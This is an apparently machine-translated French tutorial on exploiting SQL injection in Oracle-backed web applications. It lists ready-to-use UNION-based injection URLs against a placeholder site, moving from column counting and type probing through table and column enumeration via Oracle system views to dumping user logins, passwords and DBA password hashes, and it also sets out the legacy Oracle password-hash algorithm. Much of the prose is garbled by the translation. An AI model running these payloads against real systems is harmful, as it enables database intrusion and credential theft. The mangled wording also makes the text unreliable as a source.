Réaliser SQL Injection dans Oracle



  • [Introduction]
  • [Caractéristiques Oracle]
  • [Colonne de sélection]
  • [Colonne Définition printabelnyh]
  • [Obtenir des informations]
  • [ Les tableaux et les colonnes]
  • [Mots de passe]
  • [Obtenir des informations]



  • [Introduction]


    Récemment, l'étude de divers projets web sur la vulnérabilité est devenue trébuchent sur l'injection sql dans Oracle. Bien qu'actuellement rare de trouver l'utilisation de cette base de données dans la programmation Web, mais il arrive. Toutes les études se termine par une détection de bugs, quoi faire ensuite était claire. Au cours de la recherche d'un article, une bonne description des aspects pratiques de l'exploitation de cette vulnérabilité à Oracle, tels que des articles et des liquidités spyder, décrivant en injection MSSQL et PostgreSQL, n'a pu être trouvée.
    En tant que résultat de la recherche a été trouvé seulement k00p3r série d'articles et entièrement kopipastnutyh de sources tiers et qui sont le transfert simple, la lecture qui ne donne pas une idée claire de la tenue pleurnicher chez Oracle, depuis Articles ont en effet un grand volume, sont de nature théorique, et contiennent principalement de l'eau.
    À la fin, l'institut devait se rappeler les compétences nécessaires pour travailler avec Oracle et re-lire un tas d'informations diffusée sur Internet. Dans cet article, je voudrais partager avec vous le fait que je suis en mesure de creuser pour l'injection sql dans Oracle et essayer de combiner en un tout.
    Eh bien, essayer de combler l'écart, et de compléter une série d'articles et de l'argent spyder.

    [Caractéristiques Oracle]


    Tout d'abord, nous présentons quelques propriétés qui doivent être considérés lors de l'injection dans Oracle. Je veux juste mentionner que l'article traite de la conduite d'injection dans une instruction SELECT. En effectuant des injections dans INSERT, UPDATE et DELETE, il est également possible.
    Il est également important aussi le fait que l'article traite de l'injection est dans les requêtes SQL Oracle, mais pas dans / SQL procédures Oracle PL. dans les procédures PL / SQL différence essentielle entre les injections est la possibilité d'utiliser la requête séparateur - un point-virgule ";". Mais sur ce IMHO besoin d'écrire un article distinct avec la description des implications. En outre, l'auteur estime que les applications Web sont l'injection la plus commune est dans des requêtes SQL (au moins je suis tombé sur un tel).
    À Oracle, ainsi que dans MySQL et PostgreSQL, l'injection est effectuée par l'utilisation de l'opérateur UNION, à savoir avec la préparation de l'union de deux requêtes (- sous_requête ci-après terme utilisé pour faciliter la compréhension). Mais en plus de correspondre au nombre de colonnes dans la requête principale et la sous-requête doit garder à l'esprit que Oracle n'a pas automatiquement coulé dans un types de sous-requêtes. Par conséquent, la sélection de colonnes est nécessaire de remplacer nulle, dans lequel la différence, comme MySQL.
    Il est également caractéristique très importante est que toutes les requêtes SELECT doivent être fabriqués à partir de certains de la table, à savoir syntaxe de la requête doit contenir toujours le mot FROM et le nom de table. Pour arithmétique simple ou d'autres opérations qui ne nécessitent pas vraie table dans Oracle il y a un SYS.DUAL de table pseudo.
    Une caractéristique importante est l'absence d'une clause LIMIT.
    Pour tronquer une requête en utilisant des caractères de commentaire "-" (deux tirets) et "/ *" (barre oblique et astérisque) dans SQL Oracle. Le premier type commente -odnostrochny. Le deuxième type - plusieurs.
    Aucune possibilité d'utiliser dans SQL d'Oracle requêtes multiples en utilisant le séparateur ";", contrairement à la procédure décrite dans PL / SQL.
    Quand une erreur est détectée, vous pouvez identifier de manière unique l'Oracle, ORA par la présence du mot dans le texte d'un message d'erreur tel que:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Ne sont pas toujours présents dans le texte du mot d'erreur Oracle, par exemple,

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Colonne de sélection]


    Supposons qu'il y ait une erreur dans le paramètre id:

    www.site.com/view.php?id=1'
    Détermination du nombre de colonnes présentes dans la requête principale est la même que dans MySQL. Parce que l'opérateur UNION nécessite le même nombre de colonnes dans la requête principale, et la sous-requête, nous devons déterminer le nombre de colonnes. Si vous spécifiez les mauvaises colonnes dans le message d'erreur standard de sortie sous_requête:

    ORA-XXXXX: query block has incorrect number of result columns
    Pour la sélection de la colonne, il y a 2 façons connues et bien décrites dans l'article spyder. Mais je les ramènerai, de sorte que le lecteur ne fonctionne pas sous:

    1. Recherche simple.
    Construire la requête suivante

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Si le défaut se produit, en augmentant le nombre de colonnes sur une
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    et aussi longtemps que l'erreur persiste.

    2. Utilisation de la clause ORDER BY
    La seconde méthode est beaucoup plus rapide et plus agréable si le nombre de colonnes est assez grand. Construire la requête suivante

    www.site.com/view.php?id=-1+order+by+1--
    s'il n'y a pas d'erreur, cela signifie une ou plusieurs colonnes 1

    www.site.com/view.php?id=-1+order+by+99999--
    Avec une telle demande devrait recevoir une erreur qui signifie la colonne est inférieure à 99999. En outre, de la même manière étroite les limites de l'intervalle sélectionné, la gauche et la droite, et, finalement, déterminer le nombre réel de colonnes dans la requête principale.

    [Colonne Définition printabelnyh]


    Par exemple, nous avons déterminé le nombre exact de colonnes dans la requête principale, laissez-les 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Maintenant, nous devons identifier les colonnes qui apparaissent sur la page. Habituellement, dans les colonnes de sortie sont impliqués avec des types de données int, char et des données. Il sera assez de colonnes printabilnyh avec types int, char, et ils vont chercher.
    Comme mentionné précédemment, Oracle n'a pas automatiquement coulé dans un types de sous-requêtes. Par conséquent, lorsque vous essayez d'insérer dans une colonne ou la valeur du mauvais type, nous obtenons le type d'erreur mismatch suivante

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Ensuite, nous commençons à faire des recherches, en remplaçant alternativement chaque colonne à un nombre quelconque

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Ainsi, nous allons identifier les colonnes printabelnye avec le type int. Dans ce cas, si nous obtenons une erreur d'incompatibilité de type, nous pouvons utiliser les fonctions de conversion de type to_char (), to_date () et identifier les types de colonnes de printabelnye carbonisent et des données.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Pour aider à apporter la syntaxe fonction to_char ():
    to_char (valeur, [format_mask], [NLS_LANGUAGE])

    [Obtenir des informations]


    Après que nous avons appris le nombre de colonnes et lesquelles printabelny, nous pouvons procéder en toute sécurité pour obtenir les informations nécessaires à partir de la base de données. Eh bien, si nous sommes conscients de certaines tables de la base de données, et les colonnes en eux, tout en recevant des informations dans la cave. Par exemple, s'il y a une table d'utilisateurs avec des colonnes ID, LOGIN et MOT DE PASSE, la demande de ces données seraient les suivants

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Tout comme dans MySQL, pour faciliter l'affichage et de surmonter les divers problèmes avec les codages peuvent utiliser les fonctions concat (), to_char ().
    Pour surmonter les citations de filtrage ou d'autres caractères essentiels, il y a une fonction chr ().

    [Les tableaux et les colonnes]


    Si les tables utilisateur nous sont inconnus, alors nous pouvons obtenir une variété d'informations à partir de tables bien connues système Oracle.
    Vérifiez le nom d'utilisateur sous lequel l'interface, et donc vous pouvez être appelez la fonction de l'utilisateur ou sys.login_user

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Obtenir une liste de sessions peut être comme ceci: select * from V $ session

    D'un grand intérêt sont la table et SYS.USER_TABLES SYS.USER_TAB_COLUMNS, qui contiennent toutes les tables et les colonnes disponibles pour l'utilisateur. Nous prenons les noms de table et de colonne:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Aussi, à mon avis, en plus de la table table_name SYS.USER_TABLES, sont d'intérêt les colonnes suivantes: nom_tablespace, num_rows, freelist_groups.
    Malheureusement, les demandes établies vont nous apporter un seul - le premier enregistrement de l'ensemble du tableau. Il y a un désir irrésistible de tirer parti de la limite de l'opérateur, comme dans MySQL ou PostgreSQL. Grande déception de tout le monde, cet opérateur est pas pris en charge à Oracle, et a d'ailleurs pas d'équivalent décent sous la forme d'un autre opérateur.
    «Tout est perdu !!!" - vous pourriez dire.
    "NO !!!" - Je vais vous répondre.
    Suffer mal google, j'ai enfin trouvé l'occasion de faire une requête complexe en quelque sorte réaliser vaguement sémantique charge de l'opérateur LIMIT. Malheureusement, nous ne pouvions pas rétablir sa capacité dans son intégralité.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Ainsi, en passant par un nombre différent d'enregistrements dans l'échantillon, nous pouvons voir tous les noms des tables à la fois. La même structure de stockage, nous pouvons utiliser lors de l'affichage de table SYS.USER_TAB_COLUMNS, sur réception de tous les noms de colonnes disponibles pour l'utilisateur.
    Comme dans Oracle il y a un concept du préfixe d'objet (la table est un objet) qui est présent dans le titre ou le nom de la table:
    ALL_ - tous disponibles à l'utilisateur (le propriétaire peut ne pas être)
    USER_ - objets dont le propriétaire est l'utilisateur.
    Par conséquent, nous pouvons simplifier votre tâche et obtenir les noms des seules tables auxquelles nous avons accès

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    L'intérêt peut également soumettre les informations des tableaux standards suivants: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Mots de passe]


    Si nous sommes chanceux et l'utilisateur, sous lequel nous travaillons avec la base de données, a le droit sysdba, alors nous pouvons obtenir les hash de tous les utilisateurs de bases de données.
    Principal mot de passe de stockage de hachage (hash) - Table dictionnaire Guide SYS.USER $. Au-dessus de ce tableau est construit comme un dérivé de base, SYS.DBA_USERS. Si le profil de l'utilisateur est activée PASSWORD_REUSE_TIME, le mot de passe de hachage est également stocké dans $ SYS.USER_HISTORY. Obtenez les hashs et noms d'utilisateur peuvent être comme ça

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Pour l'exhaustivité des informations présentées également un algorithme de calcul de la valeur de hachage de mot de passe, juste au cas où quelqu'un pourrait être utile:
    1. Pour le nom d'utilisateur est attaché au mot de passe de texte à droite.
    2. Dans la ligne résultant de lettres augmente le registre.
    3. Le caractère de la chaîne sont transférés dans un format de deux octets complètent la gauche valeur 0x00 zéro (les caractères ASCII), et la ligne droite de zéro octets est ajouté à une longueur totale de 80.
    4. La chaîne résultante est chiffré par l'algorithme DES en chiffrement en mode bloc de chaînage (CBC) clé 0x0123456789ABCDEF.
    5. A partir du résultat du dernier bloc de bits de parité sont supprimés et la chaîne résultante (56 bits) est utilisée pour la nouvelle ligne de source de chiffrement de la même manière.
    6. Le dernier bloc du résultat se traduit par des signes arithmétiques hexadécimaux et a déclaré que le résultat final - la convolution.